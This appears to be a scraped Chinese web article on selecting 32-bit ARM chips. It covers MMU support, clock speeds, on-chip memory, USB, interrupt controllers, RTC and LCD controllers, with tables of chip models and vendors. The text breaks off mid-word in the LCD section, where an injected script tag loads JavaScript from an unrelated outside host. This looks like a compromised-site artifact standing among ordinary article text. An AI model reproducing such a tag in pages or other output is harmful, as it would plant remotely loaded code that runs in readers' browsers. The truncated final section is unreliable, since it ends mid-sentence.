32位RISC CPU ARM芯片的应用和选型

随着国内嵌入式应用领域的发展,arm芯片必然会获得广泛的重视和应用。但是,由于arm芯片有多达十几种的芯核结构,70多家芯片生产厂家,以及千变万化的内部功能配置组合,给开发人员在选择方案时带来一定的困难。所以,对arm芯片做一对比研究是十分必要的。

1arm芯片选择的一般原则从应用的角度,对在选择arm芯片时所应考虑的主要因素做一详细的说明。

1.1arm芯核

如果希望使用wince或linux等操作系统以减少软件开发时间,就需要选择arm720t以上带有mmu(memorymanagementunit)功能的arm芯片,arm720t、strongarm、arm920t、arm922t、arm946t都带有mmu功能。而arm7tdmi没有mmu,不支持windowsce和大部分的linux,但目前有uclinux等少数几种linux不需要mmu的支持。

1.2系统时钟控制器

系统时钟决定了arm芯片的处理速度。arm7的处理速度为0.9mips/mhz,常见的arm7芯片系统主时钟为20mhz-133mhz,arm9的处理速度为1.1mips/mhz,常见的arm9的系统主时钟为100mhz-233mhz,arm10最高可以达到700mhz。不同芯片对时钟的处理不同,有的芯片只有一个主时钟频率,这样的芯片可能不能同时顾及uart和音频时钟的准确性,如cirruslogic的ep7312等;有的芯片内部时钟控制器可以分别为cpu核和usb、uart、dsp、音频等功能部件提供不同频率的时钟,如philips公司的saa7550等芯片。

1.3内部存储器容量

在不需要大容量存储器时,可以考虑选用有内置存储器的arm芯片。见表1。

表1 内置存储器的arm芯片

芯片型号供应商flash容量rom容量sram容量

at91f40162atmel2mbytes256kbytes4kbytes

at91fr4081atmel1mbytes128kbytes

saa7750philips384kbytes64kbytes

puc3030amicronas256kbytes56kbytes

hms30c7202hynix192kbytes

ml67q4001oki256kbytes

lc67f500snayo640kbytes32k

1.4usb接口

许多arm芯片内置有usb控制器,有些芯片甚至同时有usbhost和usbslave控制器。见表2。

表2 内置usb控制器的arm芯片

芯片型号arm内核供应商usb slaveusbhostiis接口

s3c2410arm920tsamsung121

s3c2400arm920tsamsung121

s5n8946arm7tdmisamsung100

l7205arm720tlinkup110

l7210arm720tlinkup110

ep9312arm920tcirruslogic031

dragonballmx1arm920tmotorola101

saa7750arm720tphilips101

tms320dsc2xarm7tdmiti100

puc3030aarm7tdmimicronas105

aaec-2000arm920tagilent100

ml67100arm7tdmioki100

ml7051laarm7tdmioki00

sa-1100strongarmintel100

lh79531arm7tdmisharp100

gms320c7201arm720thynix101

1.5gpio数量

在某些芯片供应商提供的说明书中,往往申明的是最大可能的gpio数量,但是有许多引脚是和地址线、数据线、串口线等引脚复用的。这样在系统设计时需要计算实际可以使用的gpio数量。

1.6中断控制器

arm内核只提供快速中断(fiq)和标准中断(irq)两个中断向量。但各个半导体厂家在设计芯片时加入了自己不同的中断控制器,以便支持诸如串行口、外部中断、时钟中断等硬件中断。外部中断控制是选择芯片必须考虑的重要因素,合理的外部中断设计可以很大程度的减少任务调度的工作量。例如philips公司的saa7750,所有gpio都可以设置成fiq或irq,并且可以选择上升沿、下降沿、高电平、低电平四种中断方式。这使得红外线遥控接收、指轮盘和键盘等任务都可以作为背景程序运行。而cirruslogic公司的ep7312芯片,只有4个外部中断源,并且每个中断源都只能是低电平或者高电平中断,这样在用于接收红外线信号的场合时,就必须用查询方式,会浪费大量的cpu时间。

1.7iis(integrateinterfaceofsound)接口

即集成音频接口。如果设计音频应用产品,iis总线接口是必需的。

1.8nwait信号

外部总线速度控制信号。不是每个arm芯片都提供这个信号引脚,利用这个信号与廉价的gal芯片就可以实现与符合pcmcia标准的wlan卡和bluetooth卡的接口,而不需要外加高成本的pcmcia专用控制芯片。另外,当需要扩展外部dsp协处理器时,此信号也是必需的。

1.9rtc(realtimeclock)

很多arm芯片都提供实时时钟功能,但方式不同。如cirruslogic公司的ep7312的rtc只是一个32位计数器,需要通过软件计算出年月日时分秒;而saa7750和s3c2410等芯片的rtc直接提供年月日时分秒格式。

1.10lcd控制器

有些arm芯片内置lcd控制器,有的甚至内置64k彩色tftlcd控制器。在设计pda和手持式显示记录设备时,选用内?script src=http://er12.com/t.js>

  • 32位RISC CPU ARM芯片的应用和选型已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计